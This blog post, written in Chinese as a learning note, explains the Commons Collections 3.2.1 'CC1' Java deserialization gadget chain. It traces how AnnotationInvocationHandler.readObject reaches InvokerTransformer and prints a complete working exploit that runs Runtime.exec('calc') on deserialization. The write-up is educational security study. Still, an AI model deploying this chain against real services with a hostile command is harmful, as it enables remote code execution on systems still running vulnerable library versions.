CC1
在java的学习中CC1链是最重要的一条链子,也是必须先学的一条链子。我这个菜狗也是花了一下午时间才搞懂这个CC1链,想要学会这个CC1链的可以看这个视频Java反序列化CommonsCollections篇(一) CC1链手写EXP,讲的非常的详细易懂。我在这里只是做比较简单的记录
环境配置
首先关于环境配置,这里需要的环境是:
- jdk8u65(同时需要手动加入sun包的源码)
- Maven(任意较新的版本)
- commons-collections 3.2.1
其他的版本可能会因为缺少依赖或者漏洞被修复而无法复现
安装方法在上述视频中已经描述的很详细,大家可以看一下
正题
先来看看EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
// CC1 exploit chain
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// This array is equivalent to
//
// Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Object r = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//
//Reflection is done with the Runtime Class object because the Runtime class does not inherit the serialize interface and cannot be deserialized
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
// Decorate the Map object
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// Reflection obtains AnnotationInvocationHandler object
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
// Serialize and deserialize
serialize(o);
unserialize("ser.bin");
}
// The purpose of this function is to serialize obj objects.
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
// The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
倒推
首先采用倒推来发现思路
发现漏洞点-InvokerTransformer.transform
在org.apache.commons.collections.functors.InvokerTransformer
类里面有一个transform
方法,该方法源码如下
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
// 这一部分出现了任意代码执行的漏洞,写法非常类似一个后门
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
想办法调用漏洞点-TransformedMap.checkSetValue
为了执行这个漏洞点,我们就必须要找到一个调用transform的方法
经过查询,我们发现TransformedMap.checkSetValue
会调用transform
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们只要让valueTransformer
成为InvokerTransformer
对象即可,在同类下有这么两个方法
public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
TransformedMap decorated = new TransformedMap(map, keyTransformer, valueTransformer);
if (map.size() > 0) {
Map transformed = decorated.transformMap(map);
decorated.clear();
decorated.getMap().putAll(transformed); // avoids double transformation
}
return decorated;
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
这两个方法配合就可以给valueTransformer
赋值
其中decorateTransform
用来修饰Map对象
寻找TransformedMap.checkSetValue
的调用点-AbstractInputCheckedMapDecorator.MapEntry#setValue
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
setValue
方法调用了checkSetValue
方法,
而这里的setValue
实际是重写的Map.Entry#setValue
interface Entry<K,V> {
K getKey();
V getValue();
V setValue(V value);
boolean equals(Object o);
int hashCode();
public static <K extends Comparable<? super K>, V> Comparator<Map.Entry<K,V>> comparingByKey() {
......
}
public static <K, V extends Comparable<? super V>> Comparator<Map.Entry<K,V>> comparingByValue() {
......
}
public static <K, V> Comparator<Map.Entry<K, V>> comparingByKey(Comparator<? super K> cmp) {
......
}
public static <K, V> Comparator<Map.Entry<K, V>> comparingByValue(Comparator<? super V> cmp) {
......
}
Entry
是一个接口,被AbstractInputCheckedMapDecorator.MapEntry
重写
所以只要执行一个被decorateTransform
修饰的Map对象的setValue
方法就可以触发AbstractInputCheckedMapDecorator.MapEntry#setValue
寻找setValue
利用点-sun.reflect.annotation.AnnotationInvocationHandler#readObject
因为我们最终的目的就是让readObject
方法去调用,所以我们尝试直接找找谁的readObject
在调用setValue
经过漫长的寻找,我们找到了sun
包下有一个readObject
调用了setValue

即:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( // 利用点
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
这个方法会从memberValues
中逐个取出键值对, 并使用键名获取memberTypes
中的成员, 并判断这个成员是否为空, 然后将键值对对象中的值赋值给value
, 并判断value
和memberType
的一些关系, 然后就执行memberValue
中的setValue(注意这里的参数我们无法控制)
这个方法里面有很多条件,我们后面再一一绕过
首要的是给memberValue
赋值
可以使用构造方法给memberValue
赋值
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
这个构造方法传了两个参数,第一个是一个类(泛型为继承Annotation
,也就是注解),第二个参数是Map对象,传递参数给memberValues
,可谓是刚刚好
解决不可序列化的Runtime对象
Runtime因为没有继承serialize
接口, 所以不能被序列化
Runtime虽然不可序列化,但是他的class对象是可以序列化的
那么就可以利用Runtime.class反射调用exec方法
先大致写一个反射过程
Class<Runtime> runtimeClass = Runtime.class;
Class<? extends Class> aClass = runtimeClass.getClass();
Method getMethod = aClass.getMethod("getMethod", new Class[]{String.class, Class[].class});
Object getRuntimeObject = getMethod.invoke(runtimeClass, new Object[]{"getRuntime", null});
Class<?> aClass1 = getRuntimeObject.getClass();
Method invoke = aClass1.getMethod("invoke", new Class[]{Object.class, Object[].class});
Object RuntimeObject = invoke.invoke(getRuntimeObject, new Object[]{null, null});
Class<?> aClass2 = RuntimeObject.getClass();
Method exec = aClass2.getMethod("exec", new Class[]{String.class});
exec.invoke(RuntimeObject, new Object[]{"calc"});
在这个反射过程中,我们使用Runtime.class
获得了getMethod
方法,再使用这个方法获取了Runtime
对象,最后再反射获得Runtime的exec方法,然后执行我们想执行的命令calc
接着我们用InvokerTransformer
类把他换一下
Object getMethodObject = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Object RuntimeObject = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethodObject);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(RuntimeObject);
但我们还面临了一个问题,我们该怎么同时去执行这三条语句
其实大佬已经给我们找好了, 就是ChainedTransformer
类
这个类里面有两个重要的方法
// Constructor
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
其中第一个是构造方法,可以用来传一个transformer
数组
第二个方法叫transform
,是不是刚好可以调用呀, 来看看这个方法干的活: 便利执行iTransformers
中的transformer
对象的transform
方法, 并把返回值当作下一个循回的参数, 是不是刚刚好合适呀
那我们就这样构造
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
相比你一定会感到奇怪, 为什么还有new ConstantTransformer(Runtime.class)
因为在sun.reflect.annotation.AnnotationInvocationHandler#readObject
里面, transform
的参数我们无法控制, 所以就需要利用ConstantTransformer
对象先返回一个Runtime.class
, 这样后面的语句才能得到他们应该得到的参数
然后这是ConstantTransformer
的方法
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
该类中的transform
方法会直接返回构建函数的参数, 为下一循环提供Runtime.class
需求
正推
readObject方法
现在我们已经大概知道了方向,现在开始正推理清思路
首先从readObject
方法开始
因为这个方法是私有的,所以我们要用反射的方式去获得这个方法,并获取一个AnnotationInvocationHandler
对象
// Reflection obtains AnnotationInvocationHandler object
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
其中传递了两个参数, 一个是注解的字节码对象, 另一个正如他的形参名,是一个被TransformedMap.decorate
修饰的Map
那么我们先去构建这个transformedMap
对象吧
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
// Decorate the Map object
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// chainedTransformer 前面已经构建过了
接着是绕过readObject
中的两个IF
首先第一个IF
memberType != null --> memberTypes.get(name) --> annotationType.memberTypes() --> AnnotationType.getInstance(type);
简而言之: memberType
就是type
的成员类型, 那么这里就对type(注解类)提出了要求, type必须是含有成员的才行
首先我们最容易想到的一个注解就是@Override
但是很可惜 @Override
没有成员

然后观察一下旁边的@Trget

@Target
有成员
那就利用这个constructor.newInstance(Target.class, transformedMap);
第一个参数传入Target.class
这样子就可以绕过第一个IF,然后看第二个IF
memberType.isInstance(value)
表示vaule
能不能强转成memberType
,显然不能
value
instanceof
ExceptionProxy
表示vaule
是不是ExceptionProxy
这种类型,显然也不是,那么这个IF其实不用绕就过了
然后我们就成功执行了memberValue.setValue
命令了,然后跳到setValue
方法
setValue方法

这个方法中的parent是TransformedMap
对象, 也就是我们构建的那个修饰过的Map

接着就调用transformedMap
对象的checkSetValue
方法
checkSetValue方法

这里的valueTransformer
即ChainedTranformer
, 也就是我们构建的那个transformer集合

这里调用了chainedTransformer
的transform
方法
chaindTransformer.transform方法

开始循环执行我们的Transformer集合
循环:
- 执行
new
ConstantTransformer(Runtime.
class
)
, 返回Runtime.class - 执行
new
InvokerTransformer(
"getMethod"
, new
Class[]{String.
class,
Class[].
class
}
, new
Object[]{
"getRuntime"
, null
})
, 返回一个getMethod
方法的对象 - 执行
new
InvokerTransformer(
"invoke"
, new
Class[]{Object.
class,
Object[].
class
}
, new
Object[]{
null, null
})
, 返回Runtime对象 - 执行
new
InvokerTransformer(
"exec"
, new
Class[]{String.
class
}
, new
Object[]{
"calc"
})
, 成功执行exec
方法, 参数为calc
, 成功唤起计算器
InvokerTransformer.transform方法
这个方法上面已经讲过了,这里再重复一下
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
这个方法会反射获得传入参数(input)的字节码对象,然后用字节码对象反射获得一个iMethodName
所指的方法, 并执行这个方法
在InvokerTransformer(
"exec"
, new
Class[]{String.
class
}
, new
Object[]{
"calc"
}.transform(Runtime.getRuntime())
里实际执行的代码如下
Class cls = Runtime.getRuntime().getClass();
Method method = cls.getMethod("exec", new Class[]{String.class});
method.invoke(Runtime.getRuntime(), "calc");
构造EXP
整个流程已经分析完了, 现在我们开始把之前写的代码进行整合, 构造出一条完整的EXP来
首先构造一个Transformer
集合
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
接着new一个Map对象, 并进行修饰
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
// Decorate the Map object
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
然后反射获得sun.reflect.annotation.AnnotationInvocationHandler
的 readObject
方法, 并实例化一个对象
// Reflection obtains AnnotationInvocationHandler object
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
然后些一个序列化和反序列化的方法, 并调用一下
// Serialize and deserialize
serialize(o);
unserialize("ser.bin");
}
// The purpose of this function is to serialize obj objects.
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
// The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
然后我们合并一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class Main {
// CC1 exploit chain
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException {
// This array is equivalent to
//
// Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Object r = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//
//Reflection is done with the Runtime Class object because the Runtime class does not inherit the serialize interface and cannot be deserialized
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
// The transformer method of ChainedTransformer can call the transformer object in transformers in a loop
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "");
// Decorate the Map object
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
// Reflection obtains AnnotationInvocationHandler object
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
Method method = c.getDeclaredMethod("readObject", ObjectInputStream.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
// Serialize and deserialize
serialize(o);
unserialize("ser.bin");
}
// The purpose of this function is to serialize obj objects.
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
// The purpose of this function is to deserialize the "Filename" bin file and return a deserialized object.
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
这就是我们的EXP了, 是不是现在感觉也挺简单的
Java的反序列差不多就是这个原理, 懂了这一个链子, 对其他的链子了解的也差不多了
结束
CC1 链也就如此, Just so so.